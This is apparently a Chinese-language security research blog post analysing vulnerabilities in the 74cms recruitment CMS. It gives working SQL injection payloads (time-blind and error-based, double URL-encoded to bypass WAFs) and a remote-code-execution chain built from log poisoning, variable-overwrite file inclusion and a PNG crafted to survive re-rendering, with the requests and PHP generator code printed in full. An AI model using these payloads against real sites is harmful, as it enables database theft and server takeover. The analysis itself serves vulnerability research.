SE版的前台sql注入漏洞。
此漏洞仅仅影响 骑士CMS人才系统SE版
在 /application/index/controller/jobfairol.php 中存在如下方法
注意此处的 keyword。存在两次 url 解码，可以绕过很多的 waf，或者预处理。
先join 里一个数据表，然后添加排序，并指定分页后，调用 column() 方法。
这个方法也就是获取 sql查询某个列的数组。
并在该断点处，执行sql语句。
查看一下我们实际执行的sql语句。
我利用 union select 来达到时间盲注的效果。
payload：
http://localhost:1234/?s=index/jobfairol/resumelist&jobfair_id=1&keyword=123%252527))/**/union/**/select(sleep(5))%252523
如果开启了报错的情况可以报错注入。
http://localhost:1234/?s=index/jobfairol/resumelist&jobfair_id=1&keyword=123%252527))/**/union/**/select(updatexml(1,concat(0x7e,(select(user())),0x7e),1))%252523
在v1_0/controller/home/jobfairol.php 也存在相同的方法。
基础版的前台RCE漏洞
基础版是通过 TP3.2.3 开发的，这个版本在应用初始化的时候，如果 APP_DEBUG 为false。
会将整个框架整合进 Application/Runtime/``common~runtime.php 文件中，后续的执行都在这个74kb，且只有一行代码的文件中。
强烈建议在个人调试的时候
将这里改成true。
在Application/Common/Controller/BaseController.class.php 中
有这样一个方法。
Common应用里的控制器一般都是被当作基类存在的，无法直接通过 ?m=Common 直接去访问控制器里的方法。
但是他作为其他控制器的基类，而且又是 public 方法，我们依然可以调用他。
这几行不知道看官们熟不熟悉。
其实这个漏洞，可以追溯到某实验室发的漏洞通报
这是他们给出的漏洞样例。
其实大同小异，只不过fetch 只是获取输出页面的内容，但并不会显示出来。所以在这个cms中，如果可以rce，那也只是一个无回显的RCE。
简单概括他们的分析，就是将payload写进日志里，然后利用变量覆盖，造成任意文件包含，包含日志文件。
- 先发送恶意数据包
GET /index.php?m=--><?=system('calc');?><-- HTTP/1.1
Host: localhost:1234
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
在 /data/Runtime/Logs/Common/ 中写入日志文件
- 然后构造payload去包含日志文件。
url:http://localhost:1234/index.php?m=home&c=AdvPersonal&a=assign_resume_tpl
post:
variable[_filename]=./data/Runtime/Logs/Common/21_09_22.log&tpl=adv_index
一开始并没有想到这个漏洞，我跟进了fetch 方法。
这里如果文件存在会直接返回，这显然是不合理的，在我们可以控制文件名的情况下。
这里的 loadTemplate 方法其实就是将文件中的内容获取出来然后写入模板缓存文件中，并返回缓存文件名。
然后变量覆盖，文件包含。
在我没有想到变量覆盖 _filename 的时候 ，我的思路很单纯，分析到这里想必都明白了。就是上传一个恶意文件，获取文件名赋给$tpl，最后tp解析模板后自动包含。
但后续也是遇到一些情况，比如前台的图片上传时会被二次渲染，恶意代码被和谐。又或者图片文件中存在一些可以被解析的标签，最后替换为不规则的php语法。
不过后来我用 png图片的二次渲染绕过了这个问题。
<?php
$p = array ( 0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 ,
0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae ,
0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc ,
0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f ,
0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c ,
0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d ,
0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 ,
0x66 , 0x44 , 0x50 , 0x33 );
$img = imagecreatetruecolor ( 32 , 32 );
for ( $y = 0 ; $y < sizeof ( $p ); $y += 3 ) {
$r = $p [ $y ];
$g = $p [ $y + 1 ];
$b = $p [ $y + 2 ];
$color = imagecolorallocate ( $img , $r , $g , $b );
imagesetpixel ( $img , round ( $y / 3 ), 0 , $color );
}
imagepng ( $img , './1.png' );
?>
当在修改简历处上传文件时，后面存在一个ajax请求，获取我们的图片，这样就暴露了图片的存储位置。
下面是缓存的图片文件。
这里的变量覆盖，可能因为先前某cms的前台rce的原因，我还是想找模板文件中存在的问题，但在这里，显然是走远了。
写在后面
tp3.2.x 的渲染模板处暴露出的两个显然存在的问题，一个变量覆盖造成的任意文件包含。需要有
作为前提。
另一个 is_file 判断后直接返回文件名，不考虑是否是模板文件。仅仅需要如下语句
配合文件上传就可以完成攻击。
关注私我，获取【网络安全学习攻略】
